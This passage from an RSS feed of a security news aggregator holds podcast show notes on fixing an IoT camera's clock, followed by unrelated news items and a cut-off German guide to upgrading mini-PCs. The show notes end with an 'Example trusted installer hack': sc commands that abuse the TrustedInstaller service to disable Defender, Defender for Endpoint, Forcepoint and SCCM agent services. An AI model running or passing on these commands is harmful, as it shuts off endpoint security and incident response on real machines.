 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming <code>
.bin</code>
 to <code>
.zip</code>
, and extracting with 7-Zip.</li>

<li>

<strong>
Pre-Flash Backup Routine:</strong>
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.</li>

</ul>

</li>

</ul>

<h3>
️ Tools &amp; Techniques Mentioned</h3>

<ul>

<li>

<ul>

<li>

<code>
crontab</code>
 + Python scripts for automated monitoring</li>

<li>

<code>
grep -v</code>
, <code>
cat</code>
, <code>
tail</code>
, and <code>
vi</code>
 (line navigation with <code>
:1000</code>
)</li>

<li>
Obsidian for note-taking &amp; AI assistant integration</li>

<li>
Firefox/Playwright for headless browser testing</li>

<li>
Turbo Download Manager &amp; Bolt Media Downloader for multi-threaded/sniffing downloads</li>

<li>
7-Zip for archive extraction</li>

<li>
Google Drive for searchable config backups</li>

</ul>

</li>

</ul>

<h3>
 Resources &amp; Links</h3>

<ul>

<li>

<ul>

<li>

<strong>
Python API Script:</strong>
 <a href="https://github.com/freeload101/Python/blob/master/Uniview_API_IPC3628SR-ADF28KM-WP_get_Last.py" rel="noopener noreferrer" target="_blank">
Uniview IPC3628SR Recording Checker</a>

</li>

<li>

<strong>
Camera Model:</strong>
 <code>
IPC3628SR</code>
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)</li>

<li>

<strong>
TrustedInstaller Run-as Tool:</strong>
 <a href="https://rmccurdy.com/.scripts/downloaded/ExecTI_TrustedInstaller_Runas.zip" rel="noopener noreferrer" target="_blank">
ExecTI TrustedInstaller Runner</a>

</li>

</ul>

</li>

</ul>

<h3>
 Quick Takeaways</h3>

<ol>

<li>

<ol>

<li>
 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.</li>

<li>
 Use <code>
grep -v "noise"</code>
 to quickly filter out repetitive log entries when debugging automation scripts.</li>

<li>
 Windows system folders can be stubborn; running commands as <code>
TrustedInstaller</code>
 bypasses hidden file locks without manual ownership changes.</li>

<li>
 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.</li>

<li>
 Third-party download links often use temporary tokens or <code>
.bin</code>
 wrappers; renaming to <code>
.zip</code>
 and verifying with 7-Zip can save headaches.</li>

</ol>

</li>

</ol>

<ul>

<li>

<em>
Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.</em>
  </li>

</ul>

<p>

</p>

<p>

</p>

<p>
Example trusted installer hack</p>

<p>

</p>

<p>

</p>

<p>
# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...</p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc start "TrustedInstaller" </p>

<p>
sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  </p>

<p>
sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4686/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Season 1, Episode 8 Recap: Kim Takes on One Final Mission]]></title>
<description><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korea...]]></description>
<link>https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</guid>
<pubDate>Mon, 20 Jul 2026 01:24:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korean interrogation facility. Soldiers torture him for several days, but he refuses to reveal any information.



The situation changes when one of the interrogators threatens Min-ji. Kim immediately fights back, only to discover that the entire prison setup was a test organised by South Korean officials.



Mole Cricket explains that the authorities still need Kim’s skills. They offer him and Min-ji new identities, but Kim must first complete one final mission.



Kim agrees on two conditions. Min-ji must remain safe, while Han-su and Jin-cheol must be released. The officials accept his terms, giving Kim little choice but to return to the dangerous life he tried to leave behind.



What happened before Episode 8?



In Episode 7, Kim finally reunited with Min-ji after fighting through several groups trying to capture them. He also defeated Ju Gang-chan, who had threatened his daughter and attempted to recruit him.



Min-ji stopped Kim from killing Ju and forced him to seek an apology instead. Kim later prepared a final meal for his daughter before surrendering himself to the authorities.



The episode ended with Kim waking inside the prison, making it appear that he had been secretly transported to North Korea.



Kim protects a North Korean defector



Kim’s new mission involves protecting an important North Korean official seeking asylum in South Korea. The defector carries sensitive information that could influence negotiations between the two countries.



Kim takes the man to a safe house while Sang-a prepares for the next stage of the operation. However, Ju Gang-chan begins working with North Korean officials to capture the defector before he can reveal what he knows.



Armed attackers soon raid the safe house. Kim uses a decoy plan, sending part of his team through the woods while he escapes through another route with the defector.



Kim quickly realises that the attackers knew too much about the mission. Their timing and knowledge suggest that someone inside the SMD leaked the safe house location.



Episode 8 ending explained



Kim eventually meets Han-su and Jin-cheol, bringing the three former agents together again. Their reunion lasts only a few moments before Mole Cricket arrives with SMD forces.



Mole Cricket claims that Kim failed to complete his assignment. He then announces that Kim will be sent back to North Korea.



The cliffhanger raises several questions. Mole Cricket could be involved in the information leak, or he may be following orders from someone inside the government. Kim must now uncover the traitor while protecting the defector, Min-ji and his closest allies.



Episode 8 expands the story beyond Min-ji’s kidnapping and introduces a larger conflict involving political corruption, secret deals and betrayal inside the intelligence service.



Do you think Mole Cricket betrayed Kim, or is he hiding another part of the mission? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[GTA 6 ohne Disc: Retail-Box enthält nur Download-Code]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Rockstar startet die Vorbestellungen für „Grand Theft Auto 6“ und kündigt dabei einen überraschend diskreten Formfaktor an: Die physische Version kommt ohne Disc, sondern nur als Box mit Download-Code. Parallel dazu rückt das Pre-Loading-Setup näher, sobald November-Daten e...]]></description>
<link>https://tsecurity.de/de/3679798/it-security-nachrichten/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679798/it-security-nachrichten/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code/</guid>
<pubDate>Sun, 19 Jul 2026 19:43:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Rockstar startet die Vorbestellungen für „Grand Theft Auto 6“ und kündigt dabei einen überraschend diskreten Formfaktor an: Die physische Version kommt ohne Disc, sondern nur als Box mit Download-Code. Parallel dazu rückt das Pre-Loading-Setup näher, sobald November-Daten erreicht werden. Damit verschiebt sich der Kaufanreiz in Richtung Verfügbarkeit, Bundle-Bonus und Plattform-Ökosystem. Für […]</p>
<div><a href="https://www.it-boltwise.de/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code.html">... den vollständigen Artikel <strong>»GTA 6 ohne Disc: Retail-Box enthält nur Download-Code«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code.html">GTA 6 ohne Disc: Retail-Box enthält nur Download-Code</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Orchid is a delightfully retro and approachable hipster synth]]></title>
<description><![CDATA[In 2017, I bought an old Magnus chord organ off Craigslist for $10. It's one of my favorite music gear purchases. Electric chord organs let you play full chords with just a press of a button, making them perfect for aspiring singer-songwriters or fooling around at home. But chord organs largely f...]]></description>
<link>https://tsecurity.de/de/3679671/it-nachrichten/orchid-is-a-delightfully-retro-and-approachable-hipster-synth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679671/it-nachrichten/orchid-is-a-delightfully-retro-and-approachable-hipster-synth/</guid>
<pubDate>Sun, 19 Jul 2026 17:18:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In 2017, I bought an old Magnus chord organ off Craigslist for $10. It's one of my favorite music gear purchases. Electric chord organs let you play full chords with just a press of a button, making them perfect for aspiring singer-songwriters or fooling around at home. But chord organs largely fell out of favor […]]]></content:encoded>
</item>
<item>
<title><![CDATA[How a virtual LAN can better protect your home network - and the best way to get started]]></title>
<description><![CDATA[You might think a basic LAN setup is secure enough, but there could be issues lurking that require device isolation to ensure your security.]]></description>
<link>https://tsecurity.de/de/3679282/it-security-nachrichten/how-a-virtual-lan-can-better-protect-your-home-network-and-the-best-way-to-get-started/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679282/it-security-nachrichten/how-a-virtual-lan-can-better-protect-your-home-network-and-the-best-way-to-get-started/</guid>
<pubDate>Sun, 19 Jul 2026 12:08:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You might think a basic LAN setup is secure enough, but there could be issues lurking that require device isolation to ensure your security.]]></content:encoded>
</item>
<item>
<title><![CDATA[Moonshot's Kimi K3 outperforms Fable 5 in frontend code but lags far behind in complex math]]></title>
<description><![CDATA[Moonshot's Kimi K3 is the first Chinese model to top the Code Arena: Frontend rankings, beating Claude Fable 5 and GPT-5.6 Sol by a wide margin. But on advanced math, the gap is stark: Kimi K3 scores only about 39 percent on FrontierMath Tier 4, while models from OpenAI and Anthropic hit close to...]]></description>
<link>https://tsecurity.de/de/3679258/ai-nachrichten/moonshots-kimi-k3-outperforms-fable-5-in-frontend-code-but-lags-far-behind-in-complex-math/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679258/ai-nachrichten/moonshots-kimi-k3-outperforms-fable-5-in-frontend-code-but-lags-far-behind-in-complex-math/</guid>
<pubDate>Sun, 19 Jul 2026 11:48:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/06/kimi_logo.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Moonshot's Kimi K3 is the first Chinese model to top the Code Arena: Frontend rankings, beating Claude Fable 5 and GPT-5.6 Sol by a wide margin. But on advanced math, the gap is stark: Kimi K3 scores only about 39 percent on FrontierMath Tier 4, while models from OpenAI and Anthropic hit close to 90.</p>
<p>The article <a href="https://the-decoder.com/moonshots-kimi-k3-outperforms-fable-5-in-frontend-code-but-lags-far-behind-in-complex-math/">Moonshot's Kimi K3 outperforms Fable 5 in frontend code but lags far behind in complex math</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Life Cycle Impact Assessment (hackover2026)]]></title>
<description><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug "OpenLCA" von Green Delta richtet sich zwar an Expe...]]></description>
<link>https://tsecurity.de/de/3679204/it-security-video/life-cycle-impact-assessment-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679204/it-security-video/life-cycle-impact-assessment-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 11:03:36 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug &quot;OpenLCA&quot; von Green Delta richtet sich zwar an Expert*innen - aber es hat ein TypeScript API. Es erlaubt dir, einfache Oberflächen anzubieten und die Berechnung von LCAs zu automatisieren. In einer Live Session präsentiere ich ein vereinfachtes Life Cycle Assessment zunächst in OpenLCA, dann baue ich ihm ein React Frontend mit dem &quot;olca-ipc&quot; TypeScript-Paket und starte die gleiche Berechnung im Web Browser. Auf einmal scheint alles ganz einfach.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/YQYUQD/]]></content:encoded>
</item>
<item>
<title><![CDATA[Mini-PC aufrüsten: Was möglich ist und was sich lohnt]]></title>
<description><![CDATA[Mini-PCs sind längst mehr als einfache Office-Rechner. Sie stehen auf dem Schreibtisch, hinter dem Monitor, im Wohnzimmer oder im Heimlabor und übernehmen dort Aufgaben, für die früher ein großer Desktop-PC nötig war. Genau deshalb lohnt sich der Blick ins Innere: Wer RAM, SSD, WLAN und Anschlüss...]]></description>
<link>https://tsecurity.de/de/3679030/windows-tipps/mini-pc-aufruesten-was-moeglich-ist-und-was-sich-lohnt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679030/windows-tipps/mini-pc-aufruesten-was-moeglich-ist-und-was-sich-lohnt/</guid>
<pubDate>Sun, 19 Jul 2026 09:10:02 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Mini-PCs sind längst mehr als einfache Office-Rechner. Sie stehen auf dem Schreibtisch, hinter dem Monitor, im Wohnzimmer oder im Heimlabor und übernehmen dort Aufgaben, für die früher ein großer Desktop-PC nötig war. Genau deshalb lohnt sich der Blick ins Innere: Wer RAM, SSD, WLAN und Anschlüsse vor dem Kauf richtig einschätzt, kann ein kompaktes System später gezielt erweitern statt vorschnell ersetzen.</p>



<p>Der Spielraum ist allerdings kleiner als bei klassischen Tower-PCs. Kompakte Gehäuse, verlötete Bauteile und enge Kühlsysteme setzen klare Grenzen. Trotzdem können RAM, SSD, WLAN-Modul oder externe Grafiklösung den Unterschied machen – zwischen einem Mini-PC, der nur knapp ausreicht, und einem System, das noch mehrere Jahre sinnvoll nutzbar bleibt.</p>



<h2 class="wp-block-heading">Was sich überhaupt aufrüsten lässt</h2>



<p>Drei Komponenten sind in den meisten Mini-PCs zugänglich: Arbeitsspeicher, SSD und das WLAN-Modul. Eine externe Grafikkarte kommt als vierte Option hinzu, sofern der passende Anschluss vorhanden ist. Prozessor und integrierte Grafik bleiben außen vor. Sie sind fest verlötet. Wer das vorher weiß, spart sich Enttäuschungen.</p>



<p>Wie groß die Unterschiede ausfallen können, zeigt der <a href="https://www.pcwelt.de/article/2966291/sapphire-edge-ai-370-test.html" target="_blank" rel="noreferrer noopener">Sapphire Edge AI 370</a> als positives Beispiel. Der Mini-PC nutzt austauschbare DDR5-SO-DIMMs statt verlötetem LPDDR-Speicher und unterstützt bis zu 96 GB RAM. Auch die SSDs sind gut erreichbar: Der magnetisch befestigte Deckel lässt sich ohne Werkzeug abnehmen, darunter liegen die wichtigsten Komponenten direkt zugänglich. Für Käufer, die später aufrüsten wollen, ist eine solche Bauweise ein klarer Vorteil.</p>



<h2 class="wp-block-heading">Arbeitsspeicher: der erste Griff</h2>



<p>Der RAM ist die naheliegendste Maßnahme. In vielen Mini-PCs stecken SO-DIMM-Riegel in einem Sockel, wie man sie aus dem Notebook kennt. Oft reichen ein Schraubendreher und wenige Minuten. Je nach Gehäuse können aber zusätzliche Abdeckungen, Clips oder verklebte Füße den Zugriff erschweren.</p>



<p>Aktuelle Geräte nutzen DDR5, ältere DDR4. Die beiden Generationen sind nicht kompatibel, die Kerbe sitzt an anderer Stelle.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833cb865"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/11/Test-SAPPHIRE-EDGE-AI-370-Aufrustung.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Test SAPPHIRE EDGE AI 370 - Aufrüstung" class="wp-image-2966297" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Zwei Punkte entscheiden über den Erfolg: Erstens die maximale Kapazität, die das Board adressiert. Steht im Datenblatt 64 GB, sollte man ein größeres Kit nicht einplanen. In Einzelfällen kann mehr Speicher funktionieren, garantiert ist das aber nicht. Zweitens der Dual-Channel-Betrieb. Zwei gleiche Riegel liefern mehr Tempo als ein einzelner, was sich gerade bei der integrierten Grafik bemerkbar macht.</p>



<p>Vorsicht bei besonders flachen Modellen: LPDDR5 oder LPDDR5X sitzt meist fest auf der Platine, ein Tausch ist ausgeschlossen. LPCAMM2 könnte das künftig ändern, weil LPDDR-Speicher damit als steckbares Modul ausgeführt wird. In Mini-PCs ist das aber noch nicht der Normalfall. Wer später aufrüsten will, sollte deshalb vor dem Kauf ausdrücklich nach SO-DIMM- oder LPCAMM2-Steckplätzen suchen.</p>



<h2 class="wp-block-heading">SSD: mehr Platz, mehr Tempo</h2>



<p>Die zweite lohnende Maßnahme betrifft die SSD. Hersteller sparen hier gern an zwei Fronten: an Kapazität und an Tempo. 512 GB sind schnell voll. Viele Mini-PCs bieten einen M.2-2280-Steckplatz für eine NVMe-SSD, manche zwei oder drei. Geräte wie der GMKtec K12 bringen drei M.2-Slots mit – Raum genug, um Windows und Daten zu trennen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833cbe9f"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/08/Geekom-A9-Max-SSD.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Geekom A9 Max - SSD" class="wp-image-2883325" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Achten Sie auf die PCIe-Generation. Neue Modelle unterstützen teils PCIe 5.0, die meisten PCIe 4.0. Eine schnellere SSD läuft auch in einem langsameren Slot, dann eben gedrosselt. Ein zweiter Steckplatz lässt sich für ein reines Datenlaufwerk nutzen, ohne das System anzutasten. Wer nur ein kleindimensioniertes Laufwerk vorfindet, sichert seine Daten, klont die alte SSD vor dem Tausch oder setzt Windows neu auf.</p>



<p>Wichtig ist außerdem die Bauhöhe. In manchen Mini-PCs bleibt wenig Platz für SSDs mit hohem Kühlkörper. Oft passt nur ein dünnes Wärmeleitpad, nicht aber ein hoher SSD-Kühlkörper. Eine sehr schnelle PCIe-5.0-SSD bringt wenig, wenn sie im engen Gehäuse wegen Hitze schnell drosselt.</p>



<h2 class="wp-block-heading">Praxis-Tipp: Vorsicht bei WLAN-Antennen</h2>



<p>Beim Öffnen mancher Mini-PCs ist Vorsicht geboten. Innenliegende Metallabdeckungen führen die WLAN-Antennenkabel teils sehr knapp an der WLAN-Karte vorbei. Wer RAM oder SSD tauscht, kann beim Abheben der Abdeckung versehentlich das schwarze und graue Antennenkabel lösen. Danach funktionieren WLAN und Bluetooth nicht mehr zuverlässig oder gar nicht. In unserem Test des <a href="https://www.pcwelt.de/article/2883309/geekom-a9-max-test.html" target="_blank" rel="noreferrer noopener">Geekom A9 Max</a> zeigte sich genau dieses Risiko.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833cc44e"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/09/Test-GEEKOM-A9-Max-Antennenkabel-rotated.jpg?quality=50&amp;strip=all&amp;w=900" alt="Test GEEKOM A9 Max - Antennenkabel" class="wp-image-2894968" width="900" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Ziehen Sie Abdeckungen deshalb nie ruckartig ab. Prüfen Sie zuerst, ob Antennenkabel mit Klebestreifen fixiert sind, und lösen Sie diese vorsichtig. Falls die Kabel bereits abgezogen sind, müssen sie wieder auf die WLAN-Karte gesteckt werden: Schwarz gehört meist auf „Main“, Grau auf „AUX“. Oft sitzt die WLAN-Karte unter der M.2-SSD, sodass die SSD vorübergehend ausgebaut werden muss.</p>



<h2 class="wp-block-heading">WLAN-Modul: der Sprung auf Wi-Fi 7</h2>



<p>Das WLAN-Modul ist das unscheinbare Upgrade. In vielen Mini-PCs sitzt es als kleine M.2-2230-Karte unter einer Abdeckung und lässt sich gegen ein neueres Modell tauschen. Vor dem Kauf sollten Sie aber prüfen, ob Antennenanschlüsse, Bauform, Anbindung und Treiber passen.</p>



<p>Der Wechsel von Wi-Fi 5 oder Wi-Fi 6 auf Wi-Fi 7 bringt mehr Durchsatz und Bluetooth in aktueller Version. Spürbar wird der Nutzen aber nur, wenn auch der Router mitspielt. Für Geräte am Netzwerkkabel lohnt der Tausch kaum.</p>



<h2 class="wp-block-heading">Externe Grafikkarte: OCuLink hat Leistungsvorteile</h2>



<p>Den deutlichsten Sprung bringt eine externe Grafikkarte. Mini-PCs setzen auf integrierte Grafik, die für Office und Filme genügt, beim Spielen aber an Grenzen stößt. Eine eGPU schließt die Lücke. Sie steckt in einem Gehäuse mit eigenem Netzteil und verbindet sich per Kabel mit dem Rechner.</p>



<p>Der Anschluss entscheidet über das Ergebnis. OCuLink führt die PCIe-Leitungen direkt nach außen und verliert deshalb nur wenig Leistung. Bei PCIe 4.0 x4 stehen 64 Gbit/s zur Verfügung. Je nach Grafikkarte, Spiel, Auflösung und Dock liegt der Leistungsverlust oft grob bei 3 bis 7 Prozent.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833ccbf0"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Framework-Oculink-eGPU-dev-kit.png?w=1200" alt="Framework Oculink external GPU dev kit" class="wp-image-3120744" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>USB4 und Thunderbolt sind flexibler, bremsen eine externe Grafikkarte aber meist stärker aus. Thunderbolt 5 und USB4 v2 bieten deutlich mehr Bandbreite als Thunderbolt 4 oder klassisches USB4, trotzdem hängt der Leistungsverlust stark von Dock, Grafikkarte, Spiel und Auflösung ab.</p>



<p>Als grobe Orientierung gilt: OCuLink liegt häufig im niedrigen einstelligen Prozentbereich, Thunderbolt 4 und USB4 können je nach Szenario deutlich mehr Leistung kosten. Ein verbreiteter Irrtum bleibt daher: Ein USB4-Port allein macht noch keinen guten eGPU-Host.</p>



<p>Ein Nachteil bleibt: OCuLink kennt kein Hot-Plug. Zum Verbinden oder Trennen muss der Rechner heruntergefahren werden. Und günstig ist das Setup nicht: Gehäuse, Grafikkarte und ein passendes Netzteil summieren sich. Wer ohnehin am Schreibtisch bleibt, fährt mit einem kompakten Desktop oft preiswerter.</p>



<h2 class="wp-block-heading">Kühlung und Wärmeleitpaste</h2>



<p>Ein Mini-PC lebt von kompakter Bauweise. Das hat seinen Preis bei der Kühlung. Wer das Gehäuse ohnehin geöffnet hat, kann die Wärmeleitpaste erneuern. Bei älteren Geräten bringt das ein paar Grad weniger und einen ruhigeren Lüfter. Ein Pflichtprogramm ist es nicht. Wer sich unsicher fühlt, lässt die Finger davon. Wer zu viel Wärmeleitpaste verwendet oder Bauteile beim Zerlegen beschädigt, schafft schnell mehr Probleme, als er löst.</p>



<h2 class="wp-block-heading">Betriebssystem und BIOS</h2>



